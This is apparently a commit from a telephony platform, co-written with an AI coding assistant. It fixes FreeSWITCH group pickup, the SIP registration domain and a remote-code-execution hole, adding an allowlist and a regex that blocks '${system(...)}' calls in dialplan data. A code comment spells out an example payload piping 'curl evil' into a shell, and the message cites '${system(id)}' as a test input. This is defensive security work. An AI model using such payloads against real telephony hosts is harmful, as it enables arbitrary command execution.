fix(telefonia): pickup de grupo funcionando de verdade + RCE no dialplan + domínio real no REGISTER
Pedido explícito do usuário: "testa criando um ramal com callgroup e captura
chamada de outro ramal". O teste com softphones reais (não só leitura de
código) achou 3 problemas que a fase anterior tinha dado como resolvidos:
1. A variable de call group estava com o nome errado (`call-group`, convenção
do Asterisk) e a suposição de que o FreeSWITCH fazia pickup automático só
com ela era falsa. Corrigido pro nome certo (`callgroup`) e pro mecanismo
real (fork de leg `pickup/<grupo>` no bridge + extension `*8` chamando a
application `pickup`, lendo o grupo via `${user_data(...)}`).
2. Implementando o mecanismo acima, achada uma vulnerabilidade real de RCE: o
allowlist de `application` no dialplan nunca bloqueava `${system(...)}`
embutido dentro do `data` de qualquer application já permitida —
`mod_commands` está carregado, então isso era execução de comando
arbitrário no host do FreeSWITCH pra qualquer Tenant Admin. Corrigido com
um segundo allowlist (`ALLOWED_INLINE_API_FUNCTIONS` +
`IsSafeDialplanData`) que só libera funções de leitura seguras
(`user_data`, `escape`, `url_encode`, `url_decode`, `regex`, `strftime`).
3. Registrar um softphone de verdade contra o domínio do tenant (não só curl
no mod_xml_curl) revelava 403 Forbidden: o sofia profile `internal` tinha
`force-register-domain`/`force-subscription-domain`/
`force-register-db-domain` fixados no domínio antigo, ignorando o domínio
de cada tenant. Corrigido no Dockerfile do FreeSWITCH (imagem
reconstruída, não só patch ao vivo).
Testado ponta a ponta com 3 softphones reais (linphone-cli) em containers na
mesma rede Docker: ramal do mesmo grupo captura de verdade uma ligação
tocando em outro ramal via *8 (canais confirmados bridged via `show
channels`); ramal de grupo diferente tenta e falha. RCE confirmado bloqueado
via curl (`${system(id)}` → 400) sem quebrar `${user_data(...)}` legítimo.
TODO.md (PHASE 53) e docs/EXTENSIONS.md atualizados corrigindo as afirmações
incompletas da fase anterior ("nenhuma mudança de infra necessária").
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BFaBaBSQGhyXGEgtTYZGV8
This commit is contained in:
@@ -27,10 +27,53 @@ export const ALLOWED_DIALPLAN_APPLICATIONS = [
|
||||
"transfer",
|
||||
"sleep",
|
||||
"record_session",
|
||||
// Group pickup (agente.md secao 178, PHASE 52) — só recebe o nome do
|
||||
// grupo como texto (ou `${user_data(...)}`, já auditado acima), nunca
|
||||
// um comando; mesmo padrão de risco zero dos outros já permitidos.
|
||||
"pickup",
|
||||
] as const;
|
||||
|
||||
export type AllowedDialplanApplication = (typeof ALLOWED_DIALPLAN_APPLICATIONS)[number];
|
||||
|
||||
/**
|
||||
* Achado real de segurança (secao 180): o allowlist de `application` acima
|
||||
* NÃO bastava. FreeSWITCH expande `${nome(args)}` (chamada de API) dentro
|
||||
* de qualquer atributo `data` em tempo de chamada — inclusive de uma
|
||||
* application "segura" já permitida como `set`/`export`/`playback`. Com
|
||||
* `mod_commands` carregado (está, ver infrastructure/freeswitch), a API
|
||||
* `system`/`bg_system` roda comando de shell arbitrário no host do
|
||||
* FreeSWITCH. Sem este segundo allowlist, `{"application":"set","data":
|
||||
* "x=${system(curl evil|sh)}"}` era RCE completo, alcançável por qualquer
|
||||
* Tenant Admin com `freeswitch.configure` (secao 144). `${variavel}` SEM
|
||||
* parênteses (ex.: `${destination_number}`) nunca é bloqueado — é só
|
||||
* interpolação de valor, não chamada de API.
|
||||
*/
|
||||
export const ALLOWED_INLINE_API_FUNCTIONS = [
|
||||
"user_data", // lookup de variável do directory de outro usuário (pickup group)
|
||||
"escape",
|
||||
"url_encode",
|
||||
"url_decode",
|
||||
"regex",
|
||||
"strftime",
|
||||
] as const;
|
||||
|
||||
const INLINE_FUNCTION_CALL_PATTERN = /\$\{\s*([a-zA-Z_][a-zA-Z0-9_]*)\s*\(/g;
|
||||
|
||||
/** Devolve os nomes de função `${nome(...)}` usados em `text` que NÃO
|
||||
* estão no allowlist acima — vazio = texto seguro. Usado em `data` de
|
||||
* action/anti-action (nunca em `conditionExpr`, que é regex estático,
|
||||
* nunca expandido pelo FreeSWITCH). */
|
||||
export function findDisallowedInlineFunctionCalls(text: string): string[] {
|
||||
const found = new Set<string>();
|
||||
for (const match of text.matchAll(INLINE_FUNCTION_CALL_PATTERN)) {
|
||||
const name = match[1];
|
||||
if (!(ALLOWED_INLINE_API_FUNCTIONS as readonly string[]).includes(name)) {
|
||||
found.add(name);
|
||||
}
|
||||
}
|
||||
return Array.from(found);
|
||||
}
|
||||
|
||||
export const ALLOWED_CONDITION_FIELDS = [
|
||||
"destination_number",
|
||||
"caller_id_number",
|
||||
|
||||
Reference in New Issue
Block a user